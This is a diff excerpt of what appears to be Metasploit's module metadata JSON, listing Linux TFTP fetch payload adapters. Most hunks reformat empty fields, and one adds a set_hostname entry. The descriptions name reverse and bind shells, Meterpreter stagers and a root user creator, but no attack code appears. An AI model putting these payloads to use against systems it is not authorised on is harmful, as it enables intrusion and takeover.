"references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209834,8 +214014,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209846,9 +214025,7 @@ "payload_cmd/linux/tftp/mipsle/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209860,9 +214037,7 @@ "timwr" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209876,8 +214051,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209888,9 +214062,7 @@ "payload_cmd/linux/tftp/mipsle/reboot": { "name": "TFTP Fetch, Linux Reboot", "fullname": "payload/cmd/linux/tftp/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209900,7 +214072,7 @@ "Michael Messner ", "rigan - " ], - "description": "Fetch and execute an MIPSLE payload from a TFTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", + "description": "Fetch and execute an MIPSLE payload from a TFTP server.\n\n A very small shellcode for rebooting the system.\n This payload is sometimes helpful for testing purposes.", "references": [ "URL-http://www.shell-storm.org/shellcode/files/shellcode-795.php" ], @@ -209917,8 +214089,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209929,9 +214100,7 @@ "payload_cmd/linux/tftp/mipsle/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209942,9 +214111,7 @@ "tkmru" ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -209958,8 +214125,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -209972,9 +214138,7 @@ "payload_cmd/linux/tftp/mipsle/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -209987,9 +214151,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210003,8 +214165,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210015,9 +214176,7 @@ "payload_cmd/linux/tftp/mipsle/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210028,9 +214187,7 @@ "juan vazquez " ], "description": "Fetch and execute an MIPSLE payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210044,8 +214201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210056,9 +214212,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210070,9 +214224,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210086,8 +214238,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210098,9 +214249,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210112,9 +214261,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210128,8 +214275,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210140,9 +214286,7 @@ "payload_cmd/linux/tftp/ppc/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210154,9 +214298,7 @@ "timwr" ], "description": "Fetch and execute an PPC payload from an TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210170,8 +214312,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210182,9 +214323,7 @@ "payload_cmd/linux/tftp/ppc64/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210194,9 +214333,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210210,8 +214347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210222,9 +214358,7 @@ "payload_cmd/linux/tftp/ppc64/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210234,9 +214368,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210250,8 +214382,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210262,9 +214393,7 @@ "payload_cmd/linux/tftp/ppc64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210274,9 +214403,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute an PPC64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210290,8 +214417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210302,9 +214428,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210316,9 +214440,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210332,8 +214454,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210344,9 +214465,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210358,9 +214477,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210374,8 +214491,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210386,9 +214502,7 @@ "payload_cmd/linux/tftp/ppc64le/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210400,9 +214514,7 @@ "timwr" ], "description": "Fetch and execute a PPC64LE payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210416,8 +214528,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210428,9 +214539,7 @@ "payload_cmd/linux/tftp/x64/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210440,9 +214549,7 @@ "Geyslan G. Bem " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210456,8 +214563,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210468,9 +214574,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210480,9 +214584,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210496,8 +214598,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210510,9 +214611,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/reverse_sctp": { "name": "TFTP Fetch, Reverse SCTP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210522,9 +214621,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210538,8 +214635,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210552,9 +214648,7 @@ "payload_cmd/linux/tftp/x64/meterpreter/reverse_tcp": { "name": "TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210565,9 +214659,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -210581,8 +214673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210595,9 +214686,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210608,9 +214697,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210624,8 +214711,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210636,9 +214722,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210649,9 +214733,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210665,8 +214747,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210677,9 +214758,7 @@ "payload_cmd/linux/tftp/x64/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210690,9 +214769,7 @@ "timwr" ], "description": "Fetch and execute an x64 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210706,8 +214783,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210718,9 +214794,7 @@ "payload_cmd/linux/tftp/x64/pingback_bind_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210729,9 +214803,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nAccept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210745,8 +214817,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210757,9 +214828,7 @@ "payload_cmd/linux/tftp/x64/pingback_reverse_tcp": { "name": "TFTP Fetch, Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210768,9 +214837,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210784,8 +214851,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210793,12 +214859,44 @@ "adapted_refname": "linux/x64/pingback_reverse_tcp", "staged": false }, + "payload_cmd/linux/tftp/x64/set_hostname": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/linux/tftp/x64/set_hostname", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Muzaffer Umut ŞAHİN " + ], + "description": "Fetch and execute an x64 payload from a TFTP server.", + "references": [], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/tftp/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/tftp/x64/set_hostname", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": {}, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/tftp/x64", + "adapted_refname": "linux/x64/set_hostname", + "staged": false + }, "payload_cmd/linux/tftp/x64/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210807,9 +214905,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210823,8 +214919,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210837,9 +214932,7 @@ "payload_cmd/linux/tftp/x64/shell/reverse_sctp": { "name": "TFTP Fetch, Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210849,9 +214942,7 @@ "RageLtMan " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210865,8 +214956,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210879,9 +214969,7 @@ "payload_cmd/linux/tftp/x64/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210891,9 +214979,7 @@ "tkmru" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210907,8 +214993,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210921,9 +215006,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210932,9 +215015,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210948,8 +215029,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210960,9 +215040,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -210971,9 +215049,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -210987,8 +215063,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -210999,9 +215074,7 @@ "payload_cmd/linux/tftp/x64/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211009,7 +215082,7 @@ "Brendan Watters", "Geyslan G. Bem " ], - "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "description": "Fetch and execute an x64 payload from a TFTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port_x86_64.asm" ], @@ -211026,8 +215099,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211038,9 +215110,7 @@ "payload_cmd/linux/tftp/x64/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211049,9 +215119,7 @@ "mak" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211065,8 +215133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211077,9 +215144,7 @@ "payload_cmd/linux/tftp/x64/shell_reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211088,9 +215153,7 @@ "epi " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211104,8 +215167,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211116,9 +215178,7 @@ "payload_cmd/linux/tftp/x64/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211127,9 +215187,7 @@ "ricky" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211143,8 +215201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211155,9 +215212,7 @@ "payload_cmd/linux/tftp/x86/adduser": { "name": "TFTP Fetch, Linux Add User", "fullname": "payload/cmd/linux/tftp/x86/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211169,9 +215224,7 @@ "spoonm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nCreate a new user with UID 0", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211185,8 +215238,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211197,9 +215249,7 @@ "payload_cmd/linux/tftp/x86/chmod": { "name": "TFTP Fetch, Linux Chmod", "fullname": "payload/cmd/linux/tftp/x86/chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211209,9 +215259,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nRuns chmod on specified file with specified mode", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211225,8 +215273,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211237,9 +215284,7 @@ "payload_cmd/linux/tftp/x86/exec": { "name": "TFTP Fetch, Linux Execute Command", "fullname": "payload/cmd/linux/tftp/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211267,8 +215312,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211279,9 +215323,7 @@ "payload_cmd/linux/tftp/x86/generic/debug_trap": { "name": "TFTP Fetch, Generic x86 Debug Trap", "fullname": "payload/cmd/linux/tftp/x86/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211291,9 +215333,7 @@ "robert " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -211307,8 +215347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211319,9 +215358,7 @@ "payload_cmd/linux/tftp/x86/generic/tight_loop": { "name": "TFTP Fetch, Generic x86 Tight Loop", "fullname": "payload/cmd/linux/tftp/x86/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211331,9 +215368,7 @@ "jduck " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -211347,8 +215382,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211359,9 +215393,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211373,9 +215405,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211389,8 +215419,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211403,9 +215432,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211418,9 +215445,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211434,8 +215459,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211448,9 +215472,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp": { "name": "TFTP Fetch, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211461,9 +215483,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211477,8 +215497,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211491,9 +215510,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp": { "name": "TFTP Fetch, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211505,9 +215522,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211521,8 +215536,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211535,9 +215549,7 @@ "payload_cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", "fullname": 